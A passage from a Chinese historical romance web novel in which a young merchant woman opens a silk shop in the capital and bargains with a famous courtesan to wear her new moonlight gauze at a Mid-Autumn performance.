以他的身份和地位,她只有为妾的份,这是戴缨不愿的,从前受过的苦难,这辈子不想再重蹈覆辙。
“不必站着,坐罢。”陆铭章说道。
戴缨依言坐下,双手叠放于腿上:“大人今日下值早。”
陆铭章看了一眼手边的茶盏,端起,轻抿了一口:“京都绸缎铺不在少数,叫得上名号的不下十家,你打算如何做?”
戴缨略作思忖道:“守客指定不行,关键还要造势。”
陆铭章点了点头,问道:“既然叫我一声叔父,若是行到难处,不必同我客气。”
戴缨微微低下眼,应了一声是。
再之后便是长久的默然,陆铭章闲适地喝茶,戴缨安静地陪坐一侧,寂然间鼻息下拂过好闻的香息,含混着温热的青木香。
催着人心怯不自在,想要逃,又惴惴地想靠近。
她归咎于陆铭章身上的香囊,然而,她不知道的是,陆铭章从来不带那些香滋滋的物儿。
正在思索间,陆铭章的声音再次响起:“我正缺一件衣袍,趁你未开张,替我制一件罢。”
“只怕会耽搁许久,店面还在装陈,缝人也没有眉目,还有绸料……”
“无妨,几时做好几时与我。”
戴缨应下,又是一阵安静,发现陆铭章看着自己,这才反应过
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来,她得给他量尺寸,于是起身走到外面,让归雁寻了尺来。
“给大人先把尺寸量了?”
陆铭章“嗯”了一声,站起,走出一步,伸开臂膀。
平时陆铭章喜穿广袖长袍,尤其穿直裰时,给人一种文人的清癯感,并不显健硕,然而,她靠得近了,在他挥开的臂膀间才惊觉这人身量高长,并不文弱,衣衫下是沉稳的呼吸起伏和敛而不发的劲骨。
先测衣长,戴缨拿尺从后颈中点垂直向下,落至脚踝处,保持弯腰的姿势,问了一句:“这个长度可好?”
陆铭章侧过头,低头看了一眼:“好。”
戴缨起身再测袖长,从左手中指尖沿手臂、背部量至右手中指尖,并记下数字。
接下去测袖宽、袖口宽、领围等,细细测量着,并一一记录数字。
测到胸围和腰围时,她拿着尺僵立在那里,就在迟疑不前时,他隔着衣袖轻轻握住她的手腕,给她提示,让她靠近他。
侍立于一旁的归雁惊怔,赶紧低下眼,不敢再看。
戴缨脸腮微红,近前一步,穿过他微敞的腋下,几乎半环着,在固定绳尺时,那双灵活的惯于拨弄算珠的手,有些发颤,快速认下数值后松开尺绳,仿佛细细的尺绳烫了她的手。
因为心里紧张,失了章程,才发现还有腰围未测,只好手拿尺绳,再次环上他的腰际,这时,一个稚嫩的声音不知从哪冒出。
“姐姐,我来啦——”
这一声,叫戴缨没由来的心慌,像做坏事时被人捉拿住。
随在儿子身边的陆铭川,看到的便是眼前一幕。
他的兄长微敞着臂膀,戴缨垂颈,矮着身,挨于他的身前,手上拿一根细绳,两手环合于兄长的腰身。
乍一看,像女子娇羞地温存于情郎怀间。
陆铭章斜了一眼陆铭川,声调无起伏:“继续。”
戴缨默然应下,继续手间的测量。
“兄长怎么在这里?”陆铭川笑问道。
他觉着哪里不对,说不出的异样,可又觉得太过匪夷所思,因为这人是他大哥,多年以来内宅连个姬妾都没有的人。
陆铭章低下头,看向小陆崇:“崇儿,你说说看,大伯为什么在这里?”
小陆崇嘻嘻地笑一声:“大伯来这里做衣裳。”
陆铭章点了点头:“当儿子的比老子聪明。”
陆铭川一噎,平日怎么受大哥训教无所谓,这会儿在戴缨面前,叫他好没面。
于是偷睨了一眼戴缨,见她抿着嘴儿,忍着笑。
“一会儿大哥测量好,我也做一件衫袍。”陆铭川问向戴缨,“能给我做一件否?”
戴缨收起绳尺,记下所测量的数字,笑道:“三爷前来捧场,哪敢道一个‘不’字。”
陆铭章坐下,戴缨见他盏里的茶水没了,正要续上,他却开口道:“这茶我喝不惯,丫头,你去隔壁的茶庄替我称些岩茶来。”
戴缨心道,你把这一盏都喝没了,才说喝不惯?
第50章 好白的娇娘
戴缨想归这么想,却不敢道出声,于是将手里的尺绳递给归雁:“给三爷把尺寸量了。”
归雁应下,戴缨退出帷幕,离了店,去附近称茶叶,长安随后跟上。
“安管事,既然你无事,不如你去将茶叶买了来,何必咱们白跑一趟?”
长安微笑道:“小娘子更识好茶,长安自愧不如,若买得不好,只怕会惹阿郎不快。”
戴缨撑着纸伞,拿手打风,笑了笑:“那安管事跟过来是……”
长安温和而又客气地吐露两字:“付账。”
绸缎庄……
陆铭川未反应过来时,戴缨已出了店门。
“你不是要制衣么?”陆铭章问道。
陆铭川愣愣地点头。
“去,给三爷量身。”陆铭章微抬下巴,示意归雁。
归雁便上前替陆铭川量身。
戴缨称完茶叶回来时,归雁已测量完陆铭川的身量,并从戴缨手里接过茶叶,重新煮水泡茶。
屋里做活的陈左等人先是见了陆铭章,之后又见了陆铭川,一眼便看出这二人不凡,不仅有钱,还有金钱养不出的风仪之态。
绝不是一般人家的爷,就连那个小儿看着也是金贵不同。
尤其是先时进来的那位,女东家称他为叔父,乍一看,一身素衣,避开强光,再去细看,素色底料织着暗纹。
不是流光溢彩的浮夸,而是世族沉潜的底蕴。
陈左不免想起那日,女东家说的话,她既然能在京都做大店,自是有一定的底气。
看来,他们这位女东家同官户沾亲带故。
……
天刚擦黑,秦家兄弟请陈左等人去楼里喝酒。
席间,众人有了七八分醉意,祥子话密,问向秦家兄弟。
“叔,咱们这位女东家什么来头?”今日那情形,他看在眼里,说着,给秦二斟满酒杯。
秦二酡红着脸,夹了一筷子菜送进嘴里,呵笑一声:“咱们戴家原本在平谷就是钱过北斗的门户,否则怎的一来京都,就拿下这样好的三间铺面。”
说着,拍了拍腰:“还不是兜里有钱。”
桌上其他几人纷纷点头。
陈左却晃了晃头:“有钱是一头,可在京都若只是有钱,做小生意可,想要做大……不成……”
祥子跟说道:“在京都,想要成大事,需得同上面那些人有交情。”
“你看东面的瑞锦轩,据说他的东家同巡事所中某一司部的主事有什么关系。”
祥子转头问向陈左:“阿左哥,是什么关系来着?”
陈左接话道:“瑞锦轩的东家是巡事所一司部的主事的小妾的兄弟。”
祥子一拊掌:“对,对,听说他的东家同户部的一个小主事也有牵带关系。”
他们这些人虽是乡下汉子,却因为给各店修造的活计,常能听到一些不为人知的事。
其中一个年纪稍长之人见秦家兄弟不当回事,好言道:“管事别看这些人官阶低,却都是手握实权,同京都做生意的铺面直接挂钩。”
众人点头:“有句话怎么说来着‘阎王好见,小鬼难缠’”
秦家兄弟没听进去,他们有陆家依靠,怕什么。
店铺修造后期,戴缨吩咐秦家兄弟可以开始寻匠人了,织工,染匠,还有绣娘,三者缺一不可,别再雇用一些学徒和伙计。
初时投入本金大,不能省。
秦家兄弟办事利索,很快在店铺即将完工时,大多匠人都已到位,除了织工,顶级的织工太难寻了。
后来,戴缨修书一封,从平谷老家调了一名老织工来,又聘了几名学徒。
从购置店铺到开张,历时几月。
这中间,戴万如在得知戴缨在京都开店后,给戴万昌去了一封信,信中内容不去细说,无非是反对戴家将生意发展到京都。
戴缨把店铺一开,她才挣回的脸面,全都化为泡影,又会沦为那些官妇们的私下调侃。
当然,戴万昌这一次没做理会。
铺子开张后,戴缨不常在陆府,几乎整日待在绸缎庄,只在晚间回陆府歇宿。
其实单论铺面营计,并没有很忙,自有管事和伙计打理。
致使她废寝忘食的事是,同匠人们研制面料。
她想研制一种更为轻薄的纱织,首先原料上得顶级,简而言之就是要独一无二。
戴缨半倚在窗榻上,头枕在胳膊上,归雁拿小扇从旁扇风。
“婢子有一事不明。”
“什么事不明白?”
“娘子要的月光纱好是好,轻如禅意,夜月下,流光溢彩,可这种纱面并不实穿,上等的丝织造而成,价格必定不菲,就是小富之家也无财力承买,研制出来岂不鸡肋。”
戴缨笑道:“这话在理。”
“既然在理,娘子为何还花这么多的精力盘弄它?”
“想在京都做出明堂,需得闹出一声响,可明白?”
归雁摇了摇头。
戴缨耐心道:“这件织品做成的衣物,本就不是给普通人穿的。”
“不是给普通人穿的?那是给谁穿的?”
“有一类人,虽是贱籍,却是雅集宴饮的不可或缺,她们的一举一动是全城的焦点。”
“什么人?”
“青楼中的行首。”
归雁惊呼:“行首?”
戴缨点了点头:“待中秋之时,京都有烟花会,那些青楼行首们会登台献艺,一为应景,增添节庆热闹,二为才艺比拼,若咱们这件月光纱衫能穿到她们身上,打响名头只在旦夕。”
“懂了,相当于借她们的名头,给咱们造势。”
“就是这个意思。”眼下她先把绸缎庄做起来,之后再拓展其他营生问题应该不大。
之后的一段时间,戴缨一心扑在月光纱的织造上,终于,达到了她想要的样子。
接着,让织工赶制出一卷样料。
这日,一辆精致的香车穿过街市,停在一幢楼前,马夫放下踩凳,车帘揭起,一个青衣明丽的丫头下了马车,侧过身,伸出双手。
车里下来一个鹅黄纱衫的女子,女子乌压压的云髻儿,碧清妙目,白得像雪凝成的人。
“娘子,是这里了。”归雁将戴缨扶下马车。
戴缨立于楼前,仰头看去,楼高四层,檐角飞翘,日光下的琉璃瓦璀璨夺目。
周围市声嘈杂,而这栋看起
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来靡华的楼宇似乎仍酣睡未醒。
“吱呀——”一声,楼门开了一道缝,门缝闪出一个人影,瘦小的个儿,包着头巾,一身短衫,抱着双臂,手里拧得不知什么,急急跑到街对面的早食摊。
“来一屉包子,仍是羊肉馅的。”那人说着,递出手里的瓦罐,“小米粥,还是老样子,不要糖霜。”
一句说罢,又跑到另一个摊位前:“香饼三张,要甜的,多放芝麻。”
接着又熟门熟路到下一个摊位前,递上一个小盅:“豆花,放糖霜。”
这一顺溜下来,前面的羊肉包已用油纸包好,罐子里装满小米粥,另一家的香饼也出了炉,那人最后双手捧着盛放豆花的彩盅往戴缨这边行来。
径过戴缨时,多看了眼,咕哝了一句:“好白的娇娘。”
“小哥儿。”戴缨叫住他。
那小厮立住脚,谄笑道:“小娘子莫怪,我这嘴守不住,冒犯了。”
戴缨笑道:“小哥儿可是长乐坊的人?”
小厮听完这话,拿眼把戴缨从头到脚打量,揣度她的身份,哪家官人的正头娘子?还是说打算**投靠?
“娘子有何事?”
“我找你们的苏行首。”
戴缨有了解过,苏小小是丽春院的头牌,而丽春院又是京都三大青楼之一。
小厮笑道:“小娘子说笑了,您若是找咱们的金花,银花,翠花,小的还能替你传话,可您找的是行首,这个话我可递不了。”
戴缨给归雁睇了个眼色,归雁上前,递过一个沉甸甸的钱袋子:“不叫小哥儿白跑,这些你拿着花。”
小厮掂了掂那袋子,说道:“挺沉,够数。”
戴缨正要开口,谁知那小厮将钱袋重新抛向归雁。
“小娘子见谅,楼里有楼里的规矩,不比外面酒楼的跑腿,收些钱就能行方便,京都城三大青楼,咱们丽春院是其一,各有各的规矩,但有一条是通的,不听话的奴,是可打死的。”
小厮回头看向这座金堆玉砌的楼宇,叹了一声,“规矩大着咧。”
说罢,一溜烟,闪进楼里,带上了楼门,这幢高高的青楼再次阖上眼。
“娘子,这可怎么是好,咱们连楼门都进不得。”归雁问道。
戴缨抬起手盖在眼目上,往楼上看了看,慨然道:“这年头,进青楼都有门槛了。”
“那现在回府么?”
戴缨转过身:“回什么,先填饱肚子,什么事都不比身子重要。”
两人走到早摊前敛裙坐下,要了几张香饼,并两碗甜豆花,呼呼吃起来。
归雁一面撕饼一面说:“要不婢子留在这儿守望,总能守到人。”
戴缨喝下一口甜豆花,摇头道:“这些个行首,虽是贱籍,出行却比富户家的娘子们还有排场,比之官户家眷也是比得的,你连人的面都见不着。”
“那咱们好不容易织成的月光纱,岂不是白操弄一场。”
戴缨舀尽碗底最后一点豆花,咽下嘴里的饼,再拿帕子拭了拭嘴角。
出门一趟,事没办成,倒是吃了个饱。
吃饱了好办事,她得找个人,那人或许有法子……
第51章 把肉儿吊得高高的
戴缨回了陆府,径直去了陆溪儿的院子,陆溪儿的院子靠近曹老夫人的桂兰居。
戴缨来时,陆溪儿正同几个丫头在院子里打纸牌玩,见了来人把头一扭,只当没看见的,继续同丫头们玩纸牌,比大小。
几个丫头起身笑着行礼。
戴缨看了一眼陆溪儿,同丫头们打趣道:“这是恼我呢,也不知怎么得罪她了。”
陆溪儿把手里的纸片往桌上一丢,笑了一声。
“还问怎么得罪我了,也不知忙些什么,去找她,去一回,不见人,去一回,不见人,**去,**见不到人,好没意思,再不去了。”
丫鬟们让戴缨坐,端了茶点来,留下两人照看,便各自忙去了。
戴缨的目光落到桌面摊散的纸牌,用手无心地扒了下:“还能为了什么,不就是我那绸缎铺。”
陆溪儿缓下面色,看向戴缨,劝道:“铺子的事由着下头人去料理,你何必亲力亲为。”
“若在平谷,自然像你说的,我不必费神,只是这回不一样,初来京都开店,方方面面须得亲自把关。”
陆溪儿似懂非懂地点了点头:“经济上的事务我不懂,不过你若有难处,我倒很愿意帮忙。”
“倒真有事找你。”戴缨不指望陆溪儿替她解决问题,不过陆溪儿是土生土长的京都贵女,从她这里总能探问出一点有用的消息。
“何事?”
戴缨便把自己的想法说了,陆溪儿听后,说道:“这个法子好是好,却也难成。”
“怎么说?”
“中秋那日,三大楼的行首同台献艺,她们的头饰还有衣饰皆是各大首饰铺还有绸缎庄提供,且是经过精挑细选,想让她们穿上你的衣料,这事……不好办……”
戴缨接下去说道:“这是后话了,今儿我去丽春院,想要问见苏行首,使了银子也见不到,好大的规矩。”
陆溪儿笑了一声:“苏小小?”
“是她。”
陆溪儿满不在乎地摇了摇头,腔子杂着嘲讽:“你自然见不到她了,她们这一行就是规矩大,规矩不大怎么抬高身价,把肉儿吊得高高的,让人够不着才好呢。”
戴缨手支着下颌,漫声道:“规矩再大,也有特例,哪有什么绝对。”
陆溪儿深以为是:“这倒是,做她们这一门的,规矩不过是立在面上。”说到这里掩嘴儿扑哧一笑,“咱们府里倒有一人能破这规矩,且叫她心甘情愿呢。”
戴缨知道有门,追问道:“何人?”
陆溪儿看了眼周围,将声音稍稍压低:“我小叔父。”
“陆三爷?”
“可别说是我告诉你的。”陆溪儿圆圆的脸腮泛起红晕。
戴缨应下,陆溪儿的身份与她不同,且是未嫁的女儿,男女间的私事,她不能多言,何况这男子还是她的小叔。
落后,陆溪儿又追说一句:“其实就算你见着她,她也不见得就会同意用你的料子……算了,你先试试……”
戴缨同陆溪儿闲说几句,辞了去,接着转去了行鹿轩,刚一进行鹿轩,便见窗后一个小人儿,伏在那里。
于是轻着手脚靠近,屋里的丫鬟们见了,也都抿嘴儿笑,配合起来。
戴缨悄无声息地行到小陆崇身后,见他身板挺得笔直,小手执着笔管,嘴巴微抿,跟着手一起用力,一板一眼地临摹字帖。
戴缨原想吓唬他一下,想一想还是算了,谁知在她走神之际,陆崇“啊——”的一声,倏忽转头,挥着胳膊,做出张牙舞爪状。
戴缨没防备,惊得后退一步。
“早就看见你了,你还来吓我?”陆崇咯咯笑起来。
屋里众人也跟着笑出声。
戴缨抚着胸口,刚想开口,身后响起一道声音:“崇儿,不得无礼。”
她回头去看,才发现原来陆铭川也在屋中,坐在隔断间,他的脸上有笑,显然刚才那一幕在他的默许下发生。
因为失态,戴缨自觉有些羞,对这位知情人生出嗔怪,上前见了礼,陆铭川请她到外间入座,让丫鬟们看茶。
戴缨也不兜绕,将来意道明。
“缨娘想见苏行首,不知三爷可否从中递话?”
陆铭川听后,面色有些古怪,没有回答,而是反问:“谁告诉你我同苏行道认识的?”
戴缨磕巴道:“我听人说的……”
“谁说的?”陆铭川又问。
逼问下,戴缨好死不死地憋出一句:“这个……不难打听罢……”
陆铭川一噎,无奈道:“定是溪丫头告诉你的,府里只有她是个多话的,且同你走得近。”
说罢,接下去道,“既然你都求到我跟前了,我给你写个帖子,你拿去,她自会见你。”
戴缨道谢。
“不必这般客气,你救过崇儿的命,这么一点小事当不得什么。”陆铭川清了清嗓,多说了一句,“苏小小是丽春院头牌,只会雅客,卖艺不**,歌舞吹弹样样在行,我去楼里只为欣赏才艺。”
不过戴缨好像根本没听懂他话里的意思,或者说,因为不在意,所以不去多思,坐在那里,只是为了等他写帖子。
当下暗笑自己,怎么起了青头小子的做派。
“我去去就来。”
戴缨跟着起身,不一会儿,陆铭川回来,将帖子递上,戴缨接过,再三感谢,回了揽月居,一晃已过半日。
用了午饭后,也不着急办事,而是困了一觉,待醒来时,太阳已落西山。
朝外喊了声归雁。
“娘子醒了?”归雁推门而入。
戴缨往窗外看了一眼:“天暗了。”
“是呢,咱们这会儿还出去么?”归雁问道。
“不出去了,明日罢,白天再走一趟丽春院。”
晚间去那种地方总归不合适。
……
次日,戴缨再次来到丽春院前,仍是昨日那个小厮缩肩耷脑地跑到街对面买朝食,再拎着油纸包、大小罐往楼里去。
“小哥儿,我又来了。”戴缨叫住他。
那小厮住下脚,笑道:“小娘子再来多少趟也是无用。”
戴缨让归雁递上名帖:“烦请小哥儿把帖儿递于苏行首。”并
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让归雁给了赏钱。
小厮接过名帖,点头道:“得,小娘子候等。”说着进了楼。
约莫一炷香,小厮出来,作了个深揖:“小娘子随我来。”
不知是不是构造的原因,丽春院从外看着只四层,进到内里,抬头仰看,屋宇穹窿,由宽及窄,一点点收拢,合在一起,像一个巨大的鸟笼。
一楼大厅摆着席位,前面是阔大的高台,台上绣幕珠帘,四围光线黯朦朦,上面的楼层亦是如此。
很静,一层楼间偶尔穿过几个无精打采的小厮和小丫头,见了戴缨和归雁,好奇地看几眼,然后一声不吭地消失于某个角落。
“楼子就是这样,夜里热闹,白日各自歇息。”小厮得了戴缨的银子,态度殷勤。
“那苏行首岂不是还未起身?”戴缨问道。
小厮引着戴缨往另一边走:“苏行首不同,她一般不出场,不是什么客都接,现已起身了。”
戴缨随小厮上到二楼,转过几个过道,行至一门前。
小厮将门扇叩响:“苏娘子,人来了。”
“吱啦——”一声,开门的是一个模样不大的丫头,小厮顺便将手里的小盅递上。
那小丫头接过,拿眼把戴缨看了看,侧过身,让出道,引戴缨往里。
轩子分里外两间,中间用珠帘隔开,外间宽敞,设有坐卧的椅、榻,多宝阁上各种古物,珠帘映着光,熠熠闪动,丫头拨开珠帘,戴缨走入里间。
桌边坐着一女子,侧身坐着,窗纱上朦胧的光映在她的面上,淡淡的金色,勾勒出秀丽的侧影,一头浓密柔顺的发丝懒懒斜坠,鬓间鬈着细软的碎发。
戴缨看了一眼,心道,这位青楼里的顶级女子,和她想得不太一样,不显风尘,反倒有种闲雅的清丽。
可她的态度却不似她的容貌那样缓柔。
在她进来后,一未客气相迎,二未正眼去看,只是侧身端坐,抱着琵琶,面无表情地调弄柱弦。
“找我何事?”
女子的声音很干净。
戴缨将目光从琵琶上收回,微笑道:“妾身是绸缎庄的管事,特来拜会苏行首。”
苏小小眸光轻斜,向下看了一眼:“原是绸缎庄的女东家,坐罢。”
戴缨这才告了座,丫鬟看茶。
“女东家如何称呼?”苏小小淡淡地问道。
“小女子姓戴。”戴缨回道。
苏小小点头道:“戴娘子为何事来?”
戴缨将自己的来意道出。
“苏行首乃名动京都的人物,妾身特制了一样纱料,名月光纱,轻如烟雾,流光月华,可为苏行首在中秋那日更添风采。”
苏小小继续调弄手里的琵琶,轻笑了一声,继而不紧不慢道:“听口音戴娘子不是京都人罢。”
“妾身乃平谷人。”
“中秋献艺者,头身上的饰物、衣物皆是定好的,由都中老字号商铺提供,有惯例,不是说变动就变动。”苏小小转头看向戴缨,“此事,由不得奴做主,恕奴不能相帮,戴娘子不如找楼里的管事,比找我有用……”
第52章 只求他看她一眼
戴缨端起茶杯,啜了一口茶。
兜绕一圈,人是见到了,在她道明来意后,这位苏行首却不应承,而是把她支到楼里的管事处。
若是普通青楼姐儿,穿什么,戴什么,确实由不得己身,可这些行首们不同,多少倾慕追随者,不止男子,就连都中女子亦将她们的装扮奉为圭臬。
譬如配饰花样、衣裙色调、上妆浓淡……
多少商户找上门,皆存了和戴缨一样的心思。
若戴缨真由着苏小小之言,去了楼里管事处,这事就又麻烦了,最后指定成不了。
她找苏小小本人,为的就是得便利,怎能叫她一句话轻飘飘打发。
楼里指着这些姐儿赚钱,她们就是楼里的台柱子,若是连择衣着、配饰的自由都没有,这台柱子不白当了。
换句话说,她们供着这座楼,这座楼也得供着她们。
戴缨朝归雁抬了抬下巴,归雁走上前,将一个亮黑的方正匣子搁于桌案。
“苏行首看这样可行,我将这月光纱先与您上眼,您若觉得好,我再同楼里的管事谈,毕竟得您先满意,若您不喜,想那管事的,也不能越过您,私自应下。”
苏小小放下手里的琵琶,嘴角勾起一抹笑,这一抹笑将本就美的人儿,更添秾丽。
平日里,不是谁想见她就能见的,哪怕官户子弟想见她,也得看她愿不愿意。
因这位戴娘子递的是陆铭川的帖,这才同意见她一面。
待人进来后,她甚至不打算请她入座,因为说不上几句,就会让丫头请离。
可一番话说下来,竟有些愿意听她言语,操着一口异乡腔音,甜净却不软绵,悦耳。
不过她仍不可能应下她的要求,但又不好直接拒绝,于是让她找管事。
谁知她让她先掌眼,若喜欢,她再找管事,这话她听着受用。
木匣打开,苏小小侧目去看,只见丝光缎上笼了一层粉色的烟,像十里桃林氤氲的雾霭,苏小小心跳加快,一双眼盯着不能挪眼。
想上手轻抚,又怕触碰下驱散这团好不容易**的轻烟流玉。
“这就是月光纱?”苏小小喃喃道。
戴缨将苏小小的神情看在眼里,应声道:“是,整个京都,只此一匹,特意奉上苏行首……上眼。”
苏小小抬眼,不再似先时那样漫不经心,起了兴致,不过接下来问了一句不相关的话。
“戴娘子如何认识陆家三爷的?还请动他写帖子?”
戴缨心中微动,陆铭川必是苏小小这里的高客,不如借一借他的名头,方便成事。
“妾身同陆家有些亲缘,幸得陆老夫人垂怜,如今在陆府暂住,是以同三爷相识。”
苏小小点了点头,复呈淡淡情状,看不出喜怒……
这下叫戴缨拿不准了,苏小小接了陆铭川的帖子,见了她。
陆铭川年轻,容貌英俊,现在步军司任职,世家子弟,苏小小适才又特意问他,不免让戴缨以为这位青楼大家有心于陆铭川。
且她在看向月光纱时眼中满是艳羡,怎么这会儿态度又凉了下来。就在戴缨心旌不定时,房门被敲响。
“小小,可起身了?”一个嗓音高足的女声响起。
苏小小示意丫头前去开门。
不一时,进来一个珠翠满头的妇人,身形微丰,脸擦得白白的。
妇人进来先是看了眼戴缨,以为是苏小小新结识的小姊妹,没去多想,相互见了礼。
接着走到苏小小身边,俯下身,低语了几句。
“这怎么行!”苏小小柳眉一提,两眼怒睁。
那位妈妈亦是一脸难色:“可不是嘛,我也说这不行,怎奈她们已往衙乐所递了名册,咱们还是迟了一步。”
戴缨听她二人提及“衙乐所”,这衙乐所是官机构,承办民间文艺和官方庆典。
苏小小冷笑一声:“妈妈平日那样大的气性,这样的亏怎能忍,您老就没叫骂两句?”
妈妈“哎哟——”一声:“我的姐儿,咱到她红袖馆随怎样骂都不怕的,可骂有何用,她们先一步报上去了,难不成叫妈妈我去衙乐所叫骂去?那可是官衙门,妇人我有几个胆也不敢呐。”
苏小小蹭得起身,语调不降反升。
“那傅娇儿是个什么玩意儿,先时她自己争抢着要献舞,我不同她计较,结果现在妈妈你却说,他们红袖馆把舞换成琵琶,连个声气也无,径直报到衙乐府,这是打算先斩后奏呢。”
苏小小气得一拍案,又道:“如此一来,我那琵琶曲不白练了!”
妈妈叹了一声:“谁说不是,不过我倒是听说傅娇儿把脚崴了,这才改成了舞。”
苏小小本是愠着腮,一听傅娇儿崴了脚,心情好了一些。
“崴得好,两只脚都崴了才好,叫她上不得台。”
妈妈端详了一眼苏小小的面色,低下声气,好言语道:“眼下已是这样,你还是抓紧排个舞,中秋那日拿不出像样的节目,罪就落咱们头上。”
接着又说了几句,离开了。
待人走后,苏小小重新坐下,对戴缨道:“让娘子见笑了。”
戴缨适时说道:“这不正是天假其便么。”
“怎么说?”
戴缨将手边的木匣往前一推:“苏行首穿上这件月光纱,月夜翩跹,正如天外飞仙。”
这是一个机会,她必须抓住,对她来说太重要,所以无论苏小小如何推拒,她都会竭力逢迎,十句话里总有一句能说到她心坎上。
苏小小沉吟片刻,喃喃道,天外飞仙……
“戴娘子这话倒让我有了一个新巧的想法。”苏小小面露欣喜。
“所以这月光纱……”戴缨试问道。
“嗒”的一声,苏小小将木匣阖上,抬眼看向戴缨,下巴微微抬起:“不瞒戴娘子,这月光纱我确实喜欢,也独一无二。”
戴缨见她这副姿态就知还有后话,果然,听她说出了下面的话,也是这一刻开始,谈判才算真正开始。
“要奴穿它登台献艺也可,只是,奴有一个请求,若戴娘子应下,奴再无话
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说,唯听娘子安排。”
苏小小说完此句,便笑看着对方,眸光熠熠。
戴缨似乎猜到她要说什么,应是让自己在陆铭川和她之间做牵头,全她心愿。
这也好办,陆铭川本就是苏小小的雅客,她不过在中间递个话或是信物,这没什么。
“苏行首但讲无妨,只要缨娘能办到,绝不推辞。”
苏小小点了点头,说道:“戴娘子如今暂住陆府?”
“是。”
“好,那么奴便拜托戴娘子,中秋那日替奴邀一人,只要他来,坐于台前赏舞,看奴一眼,奴便于后台换上这月光纱,如何?”
“何人?”
“我大衍朝的枢密使,陆大人,陆铭章。”苏小小字句清晰。
戴缨听得分明,心跳有一瞬的失衡,下意识复问:“陆家大爷?”
“不错,就是他,你若能请动他,小小便什么都依戴娘子的。”
“苏行首也太看得起我了,这个要求缨娘只怕难以达成,陆相是什么人,我不过客居于陆府,有什么能耐请动他。”
戴缨自己都没发现,她说话的语调有了转变,不再如刚才那样从容自如,变得干巴甚至带上一点敌视的意味。
苏小小并未注意到这一点,继续说道:“没戴娘子想得那样难,奴只希图陆相到现场,观奴跳一支舞,哪怕只看一眼也好。”
丽春院是一座多面楼阁,临街而立,她的闺房在二楼,推开窗,便能看到对面一座叫福兴楼的小酒肆。
那间酒肆由两间拐角处的铺面打通而成。
二楼平台处,一人默坐,要一壶清酒,一坐便是半日,哪怕雨天,他也不避,头顶虽有遮挡,可风起时,雨仍会飘落向他,浸湿衣角。
先时,苏小小只觉得有趣,看久了又觉得这人不同。
不知从何时起,每每从榻间醒来,便会先推开窗,往那个方向看去。
他不是每日都在,她便记下了他去的日子。
午后,她梳妆毕,倚于窗栏,默默望向对面二楼的男子,不敢打搅,她不确定他是否注意到她。
也许无意的一瞥,他注意到了,只是在她看向他时,他挪开了眼,苏小小这样告诉自己。
她觉得他是个有故事的人,一定藏有许多的心事,因为她从未见过他笑,大多时候神情比较严肃。
后来,得知了他的身份,她的窥望成了小心翼翼的窃喜……
但她也有自知,并不奢望什么,可总有那么一点点的乞盼,想让他也知道她。
让他知道有她这么个人一直在默然地看他,也许在他知晓后,微妙的情愫悄然滋生,她同这位大人从此有了牵系……
戴缨从丽春院出来,乘上马车,往陆府行去。
车里,一直想着苏小小的话,她想见的人不是陆铭川,竟是陆铭章。
若是陆家三爷,她还请得动,可这位陆家大爷,她如何请得了。
才解决面料一事,又遇上另一茬,不过好在离中秋还有些时日,她得先探探这位爷的态度……
第53章 若有难处,可向我开口
戴缨的绸缎庄沿用平谷老店的名字,华四锦。
这几日,她心里一直盘桓着苏小小的嘱托,原以为所求者是陆铭川,结果人家心里惦记得更大,是陆铭章。
她本不想应下,可绸缎庄需要这个契机,且苏小小只乞陆铭章到场就成。
这日,她到店里看账目,秦二走来说道:“陈左他们的工钱已结得差不多了,压了一点质钱,用于后期修整的保费。”
戴缨“嗯”了一声,表示知晓。
秦二想了想又道:“可还要从丝行进丝?仓库里的存货还有。”
“再进一批,很快就会用上。”戴缨吩咐道。
秦二应声退出了帷屏,忙自己的去了。
戴缨清好账本,坐了一会儿,心道,不知陆铭章可在府中,如今她遇见他也难。
一个他不常在府里,二个她亦不常在府中。
偶然遇见只在陆老夫人的上房,见了面只是她向他见礼,他坐一会儿就离开。
可就算她寻上他,见了面,又要如何开口,总不能说,大人中秋节可愿同我游街?
他会如何作想,让别人知道了又如何作想,最怕传到老夫人耳中,老夫人又会如何想她,一定觉着错看了她,辜负了她的疼爱。
正在纠结时,一人走了进来。
“你们东家可在?”
这声音听着耳熟,戴缨起身走到外间,来人正是长安,跟着把眼错开,往他身后望了一眼。
门外停着一辆马车。
“安管事怎么来了?”戴缨问道。
长安微笑道:“我替家主问问,那件衫袍可制好了?”
戴缨刚要回答,就见长安给她睇了一个眼色,于是会过意,走到门首,下了台阶,立于马车旁,福了福身。
“大人不若到店里坐坐,上次新买的茶还在。”
接着,车里回应了一声,下人上前打起车帘,陆铭章下了马车,右手微袍裾,跨入门槛走进店中。
她发现,这人在行止间,腰间悬的佩玉只发出极轻的磕碰声,想是长年宫禁行走养成的恭谨。
她将他请入里间,亲自沏了茶水,这真是瞌睡来了送枕头,正愁中秋那日的事。
“大人今儿下值早。”戴缨没话找话,问道,“这个岩茶喝得可习惯?我再着人去买些?”
陆铭章点头道:“好。”
戴缨捧着茶,漫不经心地喝了一口,心里想的却是怎样让他中秋那日出门,观看献艺。
陆铭章的声音将她从混乱中拉回。
“店里一切都好?”
戴缨敛住心神,笑道:“都好。”
“若有难处,不必硬抗,可向我开口。”陆铭章再一次说道。
在她刚开店时,他已说过这话,这一句承诺可是多少人求都求不来的,戴缨听了进去,刚想开口,秦二走了来,先向陆铭章见了礼,转而走到戴缨身侧。
“东家可否去后面看看,闹了点事。”
不是要紧事,秦二不会报到她这里,遂带着征询的眼神看向陆铭章。
“去罢,我这儿不用你招呼,坐坐便走。”陆铭章说道。
秦二言辞含糊,她以为发生了什么要紧事,同陆铭章道了一声“宽坐”,去了后面。
绸缎庄后面有一个极宽敞的院子,用来织布、染色,还有刺绣。
平时大家伙各人忙各人的,忙碌却井然有序,然后这会儿,织工、染工还有绣工俱放下手里的活计,围集成圈,人窝中心传来几句不高不低的争辩。
“散开,散开,东家来了!”人群中一人高喊。
众人见惊动了东家,赶紧退出一条道。
人圈中有两人,两个妇人,说得再确切点,是两个绞缠在一起的妇人,相互揪着彼此的头发,衣衫也扯得松松垮垮,露出白生生的肉。
好几个看热闹的男染工在一旁斜眉睇眼。
可能见着戴缨来了,其中一妇人扬声道:“天生的丑泼贱,手脚不干净,被我捉了个现行,生了恼,这是要**灭口哩,老娘怕你?!大不了做了这条性命,奉陪到底!”
另一名被叫丑泼贱的妇人,咬着牙,不出声,加重了手下的力道。
戴缨眉心锁起,一茬事未了,又起一茬,当下喝道:“都撒开!”
